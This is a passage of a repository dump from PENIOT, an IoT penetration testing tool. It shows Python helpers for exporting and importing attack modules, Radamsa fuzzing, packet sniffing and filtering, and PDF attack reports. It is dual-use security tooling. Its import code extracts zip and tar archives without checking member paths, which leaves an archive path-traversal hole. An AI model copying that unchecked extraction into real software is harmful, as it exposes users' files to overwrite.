    "content": "from enum import Enum\nfrom Utils.RandomUtil import random_generated_names as random_util\n\nimport logging\nimport os\nimport re\nimport tarfile\nimport zipfile\n\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"Util - Export\")\n\n\nclass ExportTypes(Enum):\n    \"\"\"\n    Enumeration types for export modes\n    \"\"\"\n    ZIP = 0\n    TAR_GZ = 1\n\n\nclass ExportOptions(Enum):\n    \"\"\"\n    Enumeration types for export options such as Protocol, Attack or Attack Suite\n    \"\"\"\n    PROTOCOL = 0\n    ATTACK = 1\n    ATTACK_SUITE = 2\n\n\n# noinspection PyBroadException\nclass ExportUtil(object):\n    # Base path\n    BASE_PATH = os.path.dirname(os.path.abspath(__file__))\n\n    # Export Protocol Constants\n    EXPORT_PROTOCOL_TEMPLATE_NAME = BASE_PATH + \"/export_protocol_template.py\"\n    EXPORT_PROTOCOL_NAME_REGEX = \"_PROTOCOL_NAME\"\n\n    # Export Attack Constants\n    EXPORT_ATTACK_TEMPLATE_NAME = BASE_PATH + \"/export_attack_template.py\"\n    EXPORT_ATTACK_NAME_REGEX = \"_ATTACK_NAME\"\n    EXPORT_COMBINED_ATTACK_NAME_REGEX = \"_ATTACK_COMBINED_NAME\"\n\n    # Export Attack Suite Constants\n    EXPORT_ATTACK_SUITE_TEMPLATE_NAME = BASE_PATH + \"/export_attack_suite_template.py\"\n    EXPORT_ATTACK_SUITE_NAME_REGEX = \"_ATTACK_SUITE_NAME\"\n    EXPORT_COMBINED_ATTACK_SUITE_NAME_REGEX = \"_ATTACK_SUITE_COMBINED_NAME\"\n\n    @staticmethod\n    def get_export_texts_and_values():\n        return [\n            {\"text\": \".zip\", \"value\": ExportTypes.ZIP},\n            {\"text\": \".tar.gz\", \"value\": ExportTypes.TAR_GZ}\n        ]\n\n    @staticmethod\n    def export_function_factory(export_type):\n        \"\"\"\n        Export function factory to decide method of archive\n        :type export_type: ExportTypes\n        :return: Corresponding export function\n        \"\"\"\n        if export_type == ExportTypes.TAR_GZ:\n            return ExportUtil.export_files_with_tar\n        else:\n            return ExportUtil.export_files_with_zip\n\n    @staticmethod\n    def export_files_with_zip(output_name, list_of_files, output_path=\"./\"):\n        if not output_name.endswith(\".zip\"):\n            output_name = output_name + \".zip\"\n        zf = zipfile.ZipFile(output_path + output_name, mode='w')\n        for _file in list_of_files:\n            try:\n                logger.info(\"File {0} is added to {1}\".format(_file, output_name))\n                if len(_file) == 2:\n                    # Create file\n                    zf.write(_file[0], _file[1])\n                else:\n                    # Create directory\n                    zf.writestr(zipfile.ZipInfo(_file[0]), '')\n            except RuntimeError as _:\n                logger.error(\"Error has occurred while compressing file {0}\".format(_file[0]))\n        zf.close()\n\n    @staticmethod\n    def export_files_with_tar(output_name, list_of_files, output_path=\"./\"):\n        if not output_name.endswith(\".tar.gz\"):\n            output_name = output_name + \".tar.gz\"\n        tar = tarfile.open(output_path + output_name, \"w:gz\")\n        for _file in list_of_files:\n            try:\n                logger.info(\"File {0} is added to {1}\".format(_file, output_name))\n                if len(_file) == 2:\n                    # Create file\n                    tar.add(_file[0], _file[1])\n                else:\n                    # Create directory\n                    t = tarfile.TarInfo(_file[0])\n                    t.type = tarfile.DIRTYPE\n                    tar.addfile(t)\n            except RuntimeError as _:\n                logger.error(\"Error has occurred while compressing file {0}\".format(_file[0]))\n        tar.close()\n\n    @staticmethod\n    def export_protocol(protocol_name, export_path, export_type, output_name):\n        temporary_file_name = None\n        try:\n            logger.info(\"Exporting protocol is started.\")\n\n            # Check whether output name has any possible naming\n            if len(output_name.split(\".\")[0].strip()) == 0:\n                output_name = protocol_name\n\n            temporary_file_name = ExportUtil._create_temporary_file_and_replace_regex(\n                template_name=ExportUtil.EXPORT_PROTOCOL_TEMPLATE_NAME,\n                regex_list=[\n                    (ExportUtil.EXPORT_PROTOCOL_NAME_REGEX, protocol_name)\n                ]\n            )\n\n            # Decide function and export with respect to corresponding archive\n            export_func = ExportUtil.export_function_factory(export_type)\n            export_func(\n                output_name,\n                [  # [0] represents actual file path and [1] represents the name of file in compressed file\n                    (ExportUtil.BASE_PATH + \"/../../Entity/protocol.py\", \"protocol.py\"),\n                    (temporary_file_name, protocol_name + \"_protocol.py\"),\n                    (temporary_file_name, \"__init__.py\"),\n                    (\"attacks/__init__.py\",)\n                ],\n                export_path\n            )\n\n            logger.info(\"Exporting protocol is finished.\")\n        except Exception as _:\n            logger.error(\"Error has occurred while exporting protocol.\")\n        finally:\n            if temporary_file_name is not None:\n                # Remove temporary file\n                os.remove(temporary_file_name)\n\n    @staticmethod\n    def export_attack(protocol_name, attack_name, export_path, export_type, output_name):\n        temporary_file_name = None\n        try:\n            logger.info(\"Exporting attack is started.\")\n\n            # Check whether output name has any possible naming\n            if len(output_name.split(\".\")[0].strip()) == 0:\n                output_name = protocol_name + \"_\" + attack_name\n\n            temporary_file_name = ExportUtil._create_temporary_file_and_replace_regex(\n                template_name=ExportUtil.EXPORT_ATTACK_TEMPLATE_NAME,\n                regex_list=[\n                    (ExportUtil.EXPORT_ATTACK_NAME_REGEX, protocol_name + \" \" + attack_name + \" Attack\"),\n                    (ExportUtil.EXPORT_COMBINED_ATTACK_NAME_REGEX, protocol_name + attack_name + \"Attack\")\n                ]\n            )\n\n            # Decide function and export with respect to corresponding archive\n            export_func = ExportUtil.export_function_factory(export_type)\n            export_func(\n                output_name,\n                [  # [0] represents actual file path and [1] represents the name of file in compressed file\n                    (ExportUtil.BASE_PATH + \"/../../Entity/attack.py\", \"attack.py\"),\n                    (ExportUtil.BASE_PATH + \"/../../Entity/input_format.py\", \"input_format.py\"),\n                    (temporary_file_name, protocol_name + \"_\" + attack_name + \"_attack.py\"),\n                    (temporary_file_name, \"__init__.py\",)\n                ],\n                export_path\n            )\n\n            logger.info(\"Exporting attack is finished.\")\n        except Exception as _:\n            logger.error(\"Error has occurred while exporting attack.\")\n        finally:\n            if temporary_file_name is not None:\n                # Remove temporary file\n                os.remove(temporary_file_name)\n\n    @staticmethod\n    def export_attack_suite(protocol_name, attack_suite_name, export_path, export_type, output_name):\n        temporary_file_name = None\n        try:\n            logger.info(\"Exporting attack suite is started.\")\n\n            # Check whether output name has any possible naming\n            if len(output_name.split(\".\")[0].strip()) == 0:\n                output_name = protocol_name + \"_\" + attack_suite_name + \"_suite\"\n\n            temporary_file_name = ExportUtil._create_temporary_file_and_replace_regex(\n                template_name=ExportUtil.EXPORT_ATTACK_SUITE_TEMPLATE_NAME,\n                regex_list=[\n                    (ExportUtil.EXPORT_ATTACK_SUITE_NAME_REGEX, protocol_name + \" \"\n                     + attack_suite_name + \" Attack Suite\"),\n                    (ExportUtil.EXPORT_COMBINED_ATTACK_SUITE_NAME_REGEX, protocol_name\n                     + attack_suite_name + \"AttackSuite\")\n                ]\n            )\n\n            # Decide function and export with respect to corresponding archive\n            export_func = ExportUtil.export_function_factory(export_type)\n            export_func(\n                output_name,\n                [  # [0] represents actual file path and [1] represents the name of file in compressed file\n                    (ExportUtil.BASE_PATH + \"/../../Entity/attack_suite.py\", \"attack_suite.py\"),\n                    (temporary_file_name, protocol_name + \"_\" + attack_suite_name + \"_attack_suite.py\"),\n                    (temporary_file_name, \"__init__.py\",)\n                ],\n                export_path\n            )\n\n            logger.info(\"Exporting attack suite is finished.\")\n        except Exception as _:\n            logger.error(\"Error has occurred while exporting attack.\")\n        finally:\n            if temporary_file_name is not None:\n                # Remove temporary file\n                os.remove(temporary_file_name)\n\n    @staticmethod\n    def _create_temporary_file_and_replace_regex(template_name=None, regex_list=None):\n        if regex_list is None:\n            regex_list = []\n\n        # Read template\n        with open(template_name, \"r\") as export_template_file:\n            content = export_template_file.read()\n\n        temporary_file_name = random_util.get_random_file_name()\n        content_replaced = \\\n            ExportUtil._replace_regex(content, regex_list)\n\n        # Write template to temporary file\n        with open(temporary_file_name, \"w\") as temporary_file:\n            temporary_file.write(content_replaced)\n\n        return temporary_file_name\n\n    @staticmethod\n    def _replace_regex(content, substitution_list_as_tuples):\n        for pair in substitution_list_as_tuples:\n            content = re.sub(pair[0], pair[1], content)\n        return content\n\n    @staticmethod\n    def export_action(protocol_name, attack_name, attack_suite_name, file_path, file_name, extension, option):\n        file_path = file_path if file_path.endswith(\"/\") else file_path + \"/\"\n        if option == ExportOptions.PROTOCOL:\n            ExportUtil.export_protocol(protocol_name, file_path, extension, file_name)\n        elif option == ExportOptions.ATTACK:\n            ExportUtil.export_attack(protocol_name, attack_name, file_path, extension, file_name)\n        elif option == ExportOptions.ATTACK_SUITE:\n            ExportUtil.export_attack_suite(protocol_name, attack_suite_name, file_path, extension, file_name)\n        else:\n            raise ValueError(\"Unknown export option!\")\n\n\nif __name__ == '__main__':\n    ExportUtil.export_protocol(\"KNX\", \"./\", ExportTypes.ZIP, \"hey\")\n"
  },
  {
    "path": "src/Utils/ExtendUtil/import_util.py",
    "content": "from enum import Enum\nfrom os import listdir\nfrom os.path import isfile, join\n\nimport logging\nimport os\nimport shutil\nimport tarfile\nimport zipfile\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"Util - Import\")\n\n\nclass ImportOptions(Enum):\n    \"\"\"\n    Enumeration types for import options such as Protocol, Attack_OR_Attack Suite\n    If user chooses PROTOCOL, then s/he can directly import without selecting any other input\n    Otherwise, we need to provide currently loaded protocols to select to which one we will import\n    \"\"\"\n    PROTOCOL = 0\n    ATTACK_OR_ATTACK_SUITE = 1\n\n\nclass ImportUtil(object):\n    # Path related variables\n    BASE_PATH_OF_TEMP = os.path.dirname(os.path.abspath(__file__))\n    PROTOCOLS_DIR_NAME = \"../../protocols/tmp\"\n    TEMP_FULL_PATH = BASE_PATH_OF_TEMP + \"/\" + PROTOCOLS_DIR_NAME\n    TEMP_DIR_NAME = \".tmp\"\n\n    # Get entities\n    ENTITY_PATH = BASE_PATH_OF_TEMP + \"/../../Entity/\"\n    ENTITIES = [_ for _ in listdir(ENTITY_PATH) if\n                isfile(join(ENTITY_PATH, _)) and not _.startswith(\"__\") and not _.endswith(\".pyc\")]\n\n    @staticmethod\n    def startup():\n        \"\"\"\n        Startup function that will be called program starting point in order to create necessary containers\n        Currently creates the followings:\n            * Temporary directory imported files\n        \"\"\"\n        try:\n            if os.path.isdir(ImportUtil.TEMP_FULL_PATH):\n                shutil.rmtree(ImportUtil.TEMP_FULL_PATH)\n            os.mkdir(ImportUtil.TEMP_FULL_PATH)\n            # make this directory a package\n            os.open(ImportUtil.TEMP_FULL_PATH + \"/__init__.py\", os.O_CREAT)\n        except OSError:\n            logger.error(\"Creation of the directory {0} failed.\".format(ImportUtil.TEMP_DIR_NAME))\n        else:\n            logger.info(\"Creation of the directory {0} successfully done.\".format(ImportUtil.TEMP_DIR_NAME))\n        pass\n\n    @staticmethod\n    def shutdown():\n        \"\"\"\n        Shutdown function that will be exit stage of program in order to clean everything that are already created\n        \"\"\"\n        try:\n            if os.path.isdir(ImportUtil.TEMP_FULL_PATH):\n                shutil.rmtree(ImportUtil.TEMP_FULL_PATH)\n        except OSError:\n            logger.error(\"Deletion of the directory {0} failed.\".format(ImportUtil.TEMP_DIR_NAME))\n        else:\n            logger.info(\"Deletion of the directory {0} successfully done.\".format(ImportUtil.TEMP_DIR_NAME))\n        pass\n\n    @staticmethod\n    def trigger_import(input_path, protocol_name=None):\n        try:\n            import_action = ImportUtil.import_function_factory(input_path)\n            dir_name, file_name = os.path.split(input_path)\n\n            # If the protocol name is provided, it means that we are importing a attack/attack suite\n            # Therefore, put the imported files to corresponding attacks directory\n            if protocol_name is not None:\n                full_path_to_out_dir = ImportUtil.TEMP_FULL_PATH + \"/\" + protocol_name + \"/attacks/\" + \\\n                                       file_name.split(\".\", 1)[0]\n            else:\n                full_path_to_out_dir = ImportUtil.TEMP_FULL_PATH + \"/\" + file_name.split(\".\", 1)[0]\n\n            try:\n                os.mkdir(full_path_to_out_dir)\n            except OSError:\n                logger.error(\"Creation of the directory {0} failed.\".format(full_path_to_out_dir))\n            else:\n                logger.info(\"Creation of the directory {0} successfully done.\".format(full_path_to_out_dir))\n\n            import_action(input_path, full_path_to_out_dir)\n\n        except RuntimeError as _:\n            logger.error(_.message)\n\n    @staticmethod\n    def import_function_factory(input_path):\n        options = [\n            (zipfile.is_zipfile, ImportUtil.import_zip),\n            (tarfile.is_tarfile, ImportUtil.import_tar)\n        ]\n        for option in options:\n            try:\n                if option[0](input_path):\n                    return option[1]\n                else:\n                    continue\n            except Exception:\n                pass\n        raise RuntimeError(\"Unknown import extension!\")\n\n    @staticmethod\n    def import_zip(input_path, full_out_dir_path):\n        zf = zipfile.ZipFile(input_path, mode='r')\n        namelist = zf.namelist()\n        for _file in namelist:\n            if ImportUtil._do_not_import_names(_file):\n                continue\n            try:\n                zf.extract(_file, full_out_dir_path)\n            except RuntimeError as _:\n                logger.error(\"Error has occurred while extracting file {0}\".format(_file))\n        zf.close()\n\n    @staticmethod\n    def import_tar(input_path, full_out_dir_path):\n        tar = tarfile.open(input_path)\n        namelist = tar.getnames()\n        for _file in namelist:\n            if ImportUtil._do_not_import_names(_file):\n                continue\n            try:\n                tar.extract(_file, full_out_dir_path)\n            except RuntimeError as _:\n                logger.error(\"Error has occurred while extracting file {0}\".format(_file))\n        tar.close()\n\n    @staticmethod\n    def import_protocol(file_path):\n        ImportUtil.trigger_import(file_path)\n        # Take actions with respect to importing of protocol\n\n    @staticmethod\n    def import_attack_or_attack_suite(file_path, protocol_name):\n        ImportUtil.trigger_import(file_path, protocol_name)\n        # Take actions with respect to importing of attack or attack suite\n\n    @staticmethod\n    def _is_file_name(name):\n        \"\"\"\n        :param name: File name or directory name\n        :return: Whether name represents file or not\n        \"\"\"\n        return not name.endswith(\"/\")\n\n    @staticmethod\n    def _do_not_import_names(name):\n        return name in ImportUtil.ENTITIES\n\n    @staticmethod\n    def import_action(file_path, option, protocol_name=None):\n        if option == ImportOptions.PROTOCOL:\n            ImportUtil.import_protocol(file_path)\n        elif option == ImportOptions.ATTACK_OR_ATTACK_SUITE:\n            if protocol_name is None or protocol_name is \"\":\n                raise ValueError(\"You need to provide protocol name to bind attack to that protocol!\")\n            ImportUtil.import_attack_or_attack_suite(file_path, protocol_name)\n        else:\n            raise ValueError(\"Unknown export option!\")\n\n\nif __name__ == '__main__':\n    ImportUtil.startup()\n"
  },
  {
    "path": "src/Utils/FilterUtil/__init__.py",
    "content": "\"\"\"\n    Filtering Utilities\n    It contains necessary functionalities used for filtering packets in several attacks\n\n    1) PyShark Filterer (used with Generic Sniffer)\n\"\"\""
  },
  {
    "path": "src/Utils/FilterUtil/pyshark_filter_util.py",
    "content": "import logging\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"Util - PyShark Filter\")\n\n\nclass PySharkFilter:\n    \"\"\"\n    Container class for internally represented pyshark filter\n    where filter has layer_name, field_nane and value to be checked while filter\n    \"\"\"\n    def __init__(self, layer_name, field_name, value):\n        self.layer_name = layer_name\n        self.field_name = field_name\n        self.value = value\n\n    def set_layer_name(self, layer_name):\n        self.layer_name = layer_name\n        return self\n\n    def get_layer_name(self):\n        return self.layer_name\n\n    def set_field_name(self, field_name):\n        self.field_name = field_name\n        return self\n\n    def get_field_name(self):\n        return self.field_name\n\n    def set_value(self, value):\n        self.value = value\n        return self\n\n    def get_value(self):\n        return self.value\n\n    def apply_filter_to_packet(self, packet):\n        \"\"\"\n        Apply filter to packet, if exists check value equality otherwise return False\n        :param packet: Packet to be filtered\n        :return: Whether packet is the same value with filter value\n        \"\"\"\n        try:\n            return packet[self.layer_name].get_field_value(self.field_name).main_field.raw_value == unicode(self.value)\n        except KeyError:\n            logger.error(\"Given layer name or field name is not defined in packet!\")\n            return False\n\n"
  },
  {
    "path": "src/Utils/FuzzerUtil/__init__.py",
    "content": "\"\"\"\n    Fuzzer Utilities\n    It contains necessary functionalities used for fuzzing attacks\n\n    1) Radamsa Random Fuzzing Payload Generator\n\"\"\""
  },
  {
    "path": "src/Utils/FuzzerUtil/radamsa_util.py",
    "content": "import logging\nimport subprocess\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\nlogger = logging.getLogger(\"Util - Radamsa\")\n\nASCII_DECODE_LIMIT = 128\n\n\ndef radamsa_malformed_input_generator(input_string, output_count=1):\n    \"\"\"\n    Return test case output from given input string\n    :param output_count: Number of returned output strings\n    :param input_string: Any type of variable can be input\n    :return: Radamsa generated output string for fuzzing\n    \"\"\"\n    # Create subprocess for both echo and radamsa\n    echo_process = subprocess.Popen([\"echo\", input_string], stdout=subprocess.PIPE)\n    radamsa_process = subprocess.Popen([\"radamsa\", \"-n\", str(output_count)],\n                                       stdin=echo_process.stdout, stdout=subprocess.PIPE)\n    echo_process.stdout.close()\n    # Get values\n    output_string, error_message = radamsa_process.communicate()\n\n    if error_message is None:\n        if output_count > 1:\n            # If it are more than one, then split it\n            return output_string.split(\"\\n\")\n        else:\n            return output_string\n    else:\n        logger.debug(error_message)\n\n\ndef get_ascii_decodable_radamsa_malformed_input(input_string, output_count=1):\n    def delete_non_ascii_characters(_string):\n        return \"\".join([_ for _ in _string if ord(_) < ASCII_DECODE_LIMIT])\n\n    returned_strings = radamsa_malformed_input_generator(input_string, output_count)\n    _type = type(returned_strings)\n    if _type == list:\n        return [delete_non_ascii_characters(_returned_string) for _returned_string in returned_strings]\n    elif _type == str:\n        return delete_non_ascii_characters(returned_strings)\n    else:\n        logger.error(\"Non-matched type for output value\")\n"
  },
  {
    "path": "src/Utils/RandomUtil/__init__.py",
    "content": "\"\"\"\n    Random Utilities\n    It contains necessary functionalities that is related to randomized operations.\n\"\"\""
  },
  {
    "path": "src/Utils/RandomUtil/random_generated_names.py",
    "content": "import random\nimport string\nimport time\n\n\ndef get_random_client_name():\n    return 'peniot-cli-' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits)\n                                   for _ in range(16)) + '-' + str(int(time.time()))\n\n\ndef get_random_file_name():\n    return 'peniot_file_' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits)\n                                    for _ in range(16)) + '-' + str(int(time.time()))\n"
  },
  {
    "path": "src/Utils/ReportUtil/__init__.py",
    "content": "\"\"\"\n    Report Generation Utilities\n    It contains necessary functionalities used for reporting\n\n    1) Report Generator\n\"\"\""
  },
  {
    "path": "src/Utils/ReportUtil/report_generator.py",
    "content": "from fpdf import FPDF\n\nfrom Utils.CommonUtil import get_current_datetime_for_report_format, get_current_datetime_for_filename_format\n\n\nclass PeniotPDF(FPDF):\n\n    TITLE = 'PENIOT: Penetration Testing Tool for IoT'\n    COPYRIGHT = 'Copyright ' + chr(169) + ' 2018 - 2019 PENIOT Group. All Rights Reserved.'\n\n    def header(self):\n        self.set_font('Arial', 'B', 16)\n\n        # Add an address\n        self.cell(0, 15, self.TITLE, ln=1, align='C')\n        # Line break\n        self.ln(15)\n        self.line(0, 35, self.w, 35)\n\n    def footer(self):\n        self.set_y(-10)\n        self.set_font('Arial', size=9)\n        page = 'Page ' + str(self.page_no())\n        self.cell(0, 5, self.COPYRIGHT, 0, 0, 'C', 0)\n        self.cell(0, 5, page, 0, 0, 'R')\n\n    def add_title_and_date(self, attack_name):\n        self.set_font(\"Arial\", size=14, style='B')\n        self.cell(0, 5, attack_name + ' Summary', 0, 0, 'L')\n        self.set_font(\"Arial\", size=12)\n        self.cell(0, 5, 'Date: ' + get_current_datetime_for_report_format(), 0, 0, 'R')\n        self.ln(10)\n\n    def add_attack_logs(self, attack_logs):\n        self.set_font(\"Arial\", size=12)\n        self.multi_cell(0, 5, txt=attack_logs)\n\n\nclass GenerateReport(object):\n\n    @staticmethod\n    def generate_pdf_from_text(protocol_name, attack_name, attack_logs, directory):\n        pdf = PeniotPDF()\n        pdf.add_page()\n\n        pdf.add_title_and_date(attack_name)\n        pdf.add_attack_logs(attack_logs)\n\n        output_name = ('_'.join((protocol_name + ' ' + attack_name).split())).lower()\n        pdf.output(directory + output_name + '_' + get_current_datetime_for_filename_format())\n\n\nif __name__ == '__main__':\n    txt = \"\"\"\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras quis lacus varius, tempus odio vitae, tempor enim. Cras ut nibh justo. Ut diam ipsum, interdum commodo orci non, ultrices dictum magna. Curabitur tortor lacus, finibus et mattis nec, malesuada nec nibh. Morbi nec sem a leo tincidunt viverra quis eget leo. Aliquam erat volutpat. In tempor auctor tincidunt. Aliquam lectus dui, semper vel justo a, molestie tristique magna. Mauris nec vulputate sapien, blandit convallis felis. In a orci vel urna vehicula faucibus quis et mi. Duis lacus magna, malesuada eu mattis vestibulum, interdum vitae lectus. Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n\n    Suspendisse a lectus id nibh semper hendrerit non eget nisi. Maecenas massa magna, euismod ac dui et, tristique porta metus. Maecenas sed massa eget leo commodo sagittis iaculis ac nisi. Suspendisse ullamcorper, purus quis faucibus venenatis, metus mauris faucibus turpis, ac posuere magna velit non est. Ut ac odio vitae ante ultricies aliquam. Quisque sapien sem, condimentum at erat nec, luctus facilisis nisl. Sed maximus velit ac pellentesque sagittis. Donec ac sagittis leo, et laoreet sem. Vivamus egestas lectus non bibendum accumsan. Sed tempus risus id odio volutpat, a ullamcorper odio lacinia. In vitae velit nulla. Praesent a venenatis diam, a vestibulum tortor.\n    \n    Duis tincidunt efficitur faucibus. Praesent eget dui tellus. Vestibulum dapibus aliquam arcu. Donec vulputate sem enim, quis tincidunt diam blandit ut. Curabitur accumsan maximus risus, sed dictum ligula volutpat vitae. Curabitur convallis ac mauris ut consectetur. Quisque tellus arcu, ultrices vel ante quis, aliquet fringilla mauris. Sed ornare eros sed interdum facilisis. Duis dictum augue vel rutrum maximus. Phasellus neque dolor, pretium non risus in, tincidunt feugiat eros. Integer vel odio iaculis, faucibus neque quis, mollis enim. Etiam ac euismod orci. Donec tempor, erat at cursus porta, tortor sem aliquam leo, eget porta erat libero eu enim. Etiam felis elit, consectetur a facilisis id, porta quis nulla. Quisque libero odio, ultrices quis est et, efficitur pellentesque dui.\n    \n    Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Praesent semper tempus risus, eu condimentum leo interdum sed. Aenean turpis leo, aliquet non ligula venenatis, fermentum maximus velit. Aliquam aliquam posuere libero, quis cursus nisl gravida quis. Proin ac interdum lorem, vitae varius lacus. Maecenas sit amet convallis leo, sit amet tincidunt enim. Suspendisse sit amet risus sit amet libero aliquam mollis. Vestibulum vehicula lacus condimentum, fermentum turpis id, pretium eros. Cras sagittis sem nec porta dictum. Donec a accumsan dolor. Nam dictum eros at leo viverra, ac mattis elit placerat. Mauris ornare pulvinar massa nec rutrum. Nunc nec erat at est lobortis dictum ut in enim. Donec eu est sit amet lacus feugiat blandit. Praesent a sollicitudin ex, blandit fermentum tellus. Nulla vitae viverra ipsum, in pharetra dolor.\n    \n    Praesent imperdiet nec nisi aliquam dictum. Nunc ultricies sodales porta. Donec consectetur finibus tellus, porttitor sodales sapien pulvinar in. Duis suscipit suscipit felis eu luctus. Nam in dolor aliquam, laoreet elit a, faucibus ligula. Nulla quis nisl imperdiet dolor molestie rhoncus. Fusce neque tortor, blandit at sapien in, egestas fermentum felis. Curabitur auctor ipsum vitae velit vestibulum ultrices.\n    \n    Pellentesque eget lectus urna. Aenean commodo semper orci sit amet dictum. Curabitur ultrices vitae ipsum in bibendum. Nunc at justo ut augue mollis aliquam. Sed varius, purus at sagittis condimentum, ex velit elementum neque, at malesuada dui arcu nec orci. Nullam viverra, nisi aliquam porta tempor, ex ex bibendum eros, eu viverra urna turpis eu massa. Vestibulum quam lectus, ullamcorper sit amet imperdiet in, tincidunt quis tortor.\n    \n    Sed non mollis ligula, non imperdiet nunc. Nam elementum augue sit amet risus pulvinar, id dapibus velit laoreet. Sed commodo arcu ut tellus commodo, sed gravida nisl viverra. Sed non sapien lacus. Etiam nec gravida urna, vitae sodales risus. Donec iaculis vel ex aliquam imperdiet. Maecenas condimentum imperdiet porta. Suspendisse potenti. Donec tincidunt vestibulum libero, ac lobortis nisi interdum ac. Curabitur luctus nisl a lorem ultrices pellentesque. Nam eleifend at ex nec pretium. Nullam id purus eget metus facilisis condimentum quis non urna. Quisque et volutpat purus. Pellentesque facilisis molestie orci, a pharetra dolor aliquet sed.\n    \n    Vestibulum purus mi, dapibus ac rutrum et, convallis at magna. Nunc leo justo, finibus quis molestie vel, accumsan sit amet diam. Quisque vehicula lacus vitae augue imperdiet vulputate. Phasellus vulputate metus vel ex dapibus, nec pretium sapien eleifend. Cras metus erat, vehicula sed mi ut, eleifend finibus dui. Mauris bibendum, velit vel mollis sodales, libero orci congue dui, non dapibus eros lectus malesuada tortor. Ut dignissim dui turpis, ut faucibus velit consectetur nec. Aenean vestibulum turpis pulvinar egestas fringilla. Suspendisse potenti. Etiam dignissim sapien ac velit molestie, ac blandit augue tempor. Pellentesque laoreet tellus a dui dignissim, eget sagittis lacus pharetra. Sed id elit ac lorem tristique cursus. Nunc vel porta augue. Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n    \n    Donec at dolor eget arcu dignissim mollis at eget erat. Aenean sodales enim id massa vehicula, ac tempus massa dictum. Praesent facilisis id urna vel scelerisque. Etiam pharetra consequat massa eget molestie. Donec ullamcorper ipsum ut orci aliquet placerat. Quisque sit amet magna quis velit tincidunt placerat. Nulla facilisi. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Duis congue est sit amet arcu sollicitudin dapibus. Maecenas tristique venenatis ante, eu elementum leo sollicitudin vel.\n    \n    Suspendisse at accumsan nulla. Nam blandit auctor purus posuere tempor. Pellentesque molestie pellentesque justo ut condimentum. Aenean non fringilla mi. Nullam elementum nibh orci, eget imperdiet eros elementum hendrerit. Nam vitae volutpat odio. Pellentesque a ligula iaculis odio varius porta at ut ipsum.\n    \n    Nulla mi augue, malesuada iaculis nibh sed, blandit molestie enim. Donec luctus ipsum sed mollis porta. Nam hendrerit finibus turpis, ac elementum ante mattis vel. Aliquam tincidunt varius tellus sed tempus. Fusce vel tellus sem. Sed suscipit ex in auctor dictum. Duis ullamcorper tortor urna, non ullamcorper justo convallis ac. Nullam at est magna. Nam id erat mattis orci bibendum ultrices et in nisl. Maecenas a fringilla lorem. In facilisis, sapien volutpat posuere consectetur, ligula erat ornare neque, a ornare velit.\n    \"\"\"\n    GenerateReport.generate_pdf_from_text('CoAP', 'DoS Attack', txt)\n"
  },
  {
    "path": "src/Utils/SnifferUtil/__init__.py",
    "content": "\"\"\"\n    Sniffer Utilities\n    It contains necessary functionalities used for sniffers\n\n    1) Generic Sniffer with PyShark\n\"\"\""
  },
  {
    "path": "src/Utils/SnifferUtil/generic_sniffer.py",
    "content": "import logging\nimport os\n\nimport pyshark\nfrom Utils.FilterUtil import pyshark_filter_util as pyshark_filter_util\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\nlogger = logging.getLogger(\"Generic Sniffer\")\n\nDEFAULT_INTERFACE = \"any\"\nDEFAULT_SNIFF_TIMEOUT = 15.\nDEFAULT_SAVE = False\nDEFAULT_SAVE_DIR = os.path.dirname(os.path.abspath(__file__)) + \"/../../captured_packets/\"\n\n\ndef filter_packets_by_filter_list(packets, filter_list):\n    \"\"\"\n    :param packets: Packet list\n    :param filter_list: Filters with respect to packet field\n    :type filter_list: list of pyshark_filter_util.PySharkFilter\n    :return: Filtered packets as list\n    \"\"\"\n\n    filtered_packets = [packet for packet in packets\n                        if all(single_filter.apply_filter_to_packet(packet) for single_filter in filter_list)]\n    return filtered_packets\n\n\nclass GenericSniffer:\n    \"\"\"\n    Generic sniffer template class\n    The class can listen specific interface by tshark over pyshark\n    and filter wanted packets by looking at display filter parameter\n    with the given timeout amount\n    \"\"\"\n\n    def __init__(self, timeout=DEFAULT_SNIFF_TIMEOUT, interface=DEFAULT_INTERFACE, use_json=False, include_raw=False,\n                 output_pcap_filename=None, output_dir=DEFAULT_SAVE_DIR, display_filter=None):\n        self.captured_packets = None\n\n        self.timeout = timeout\n        self.interface = interface\n        self.use_json = use_json\n        self.include_raw = include_raw\n        # Default value is None and it is important to have it None since it will not produce file in this case\n        if output_pcap_filename is None:\n            self.output_pcap_filename = None\n        else:\n            self.output_pcap_filename = \"{0}{1}{2}\".format(output_dir, output_pcap_filename,\n                                                           (\"\" if output_pcap_filename.endswith(\".pcap\") else \".pcap\"))\n\n        self.display_filter = display_filter\n\n    def start_live_capture(self):\n        \"\"\"\n        Start capture procedure of packets over listener\n        :return: None since captured packets are saved internally\n        \"\"\"\n        capture = pyshark.LiveCapture(interface=self.interface, use_json=self.use_json, include_raw=self.include_raw,\n                                      output_file=self.output_pcap_filename, display_filter=self.display_filter)\n        capture.sniff(timeout=self.timeout)\n        self.captured_packets = capture._packets\n        logger.info(\"{0} packets are captured.\".format(len(self.captured_packets)))\n        capture.close()\n\n    def get_captured_packets(self):\n        \"\"\"\n        :return: Captured packets as list\n        \"\"\"\n        return self.captured_packets\n\n    def filter_packets_by_protocol(self, protocol=None):\n        \"\"\"\n        Filtering operation of packets via protocol name\n        :param protocol: Protocol name which will be used for filtering packets by looking their layers\n        :return: Filtered packet list\n        \"\"\"\n        if protocol is None:\n            return self.captured_packets\n        else:\n            return filter(lambda packet: protocol in str(packet.layers), self.captured_packets)\n\n\nif __name__ == '__main__':\n    sniffer = GenericSniffer()\n    sniffer.start_live_capture()\n"
  },
  {
    "path": "src/Utils/__init__.py",
